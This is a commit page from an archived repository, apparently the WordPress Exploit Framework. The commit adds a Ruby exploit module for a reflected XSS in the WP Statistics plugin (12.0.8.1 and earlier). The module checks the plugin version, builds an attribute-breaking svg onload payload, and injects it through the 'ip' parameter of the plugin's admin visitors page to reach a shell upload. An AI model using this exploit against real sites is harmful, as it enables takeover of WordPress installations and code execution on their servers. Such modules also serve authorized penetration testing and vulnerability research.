Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 59b056d

Browse files
committed
Add WP Statistics <= 12.0.8.1 reflected XSS shell upload
1 parent 093adec commit 59b056d

File tree

1 file changed

+36
-0
lines changed

1 file changed

+36
-0
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
class Wpxf::Exploit::WpStatisticsReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP Statistics <= 12.0.8.1 Reflected XSS Shell Upload',
9+
author: [
10+
'Ryan Dewhurst', # Dislosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8855'],
15+
['URL', 'http://blog.dewhurstsecurity.com/2017/07/03/wp-statistics-authenticated-xss-vulnerability.html']
16+
],
17+
date: 'Jul 03 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('wp-statistics', '12.0.8.2')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'admin.php')
27+
end
28+
29+
def xss_payload
30+
url_encode("'><svg onload=#{xss_ascii_encoded_include_script}><!--")
31+
end
32+
33+
def url_with_xss
34+
"#{vulnerable_url}?page=wps_visitors_page&ip=#{xss_payload}"
35+
end
36+
end

0 commit comments

Comments
 (0)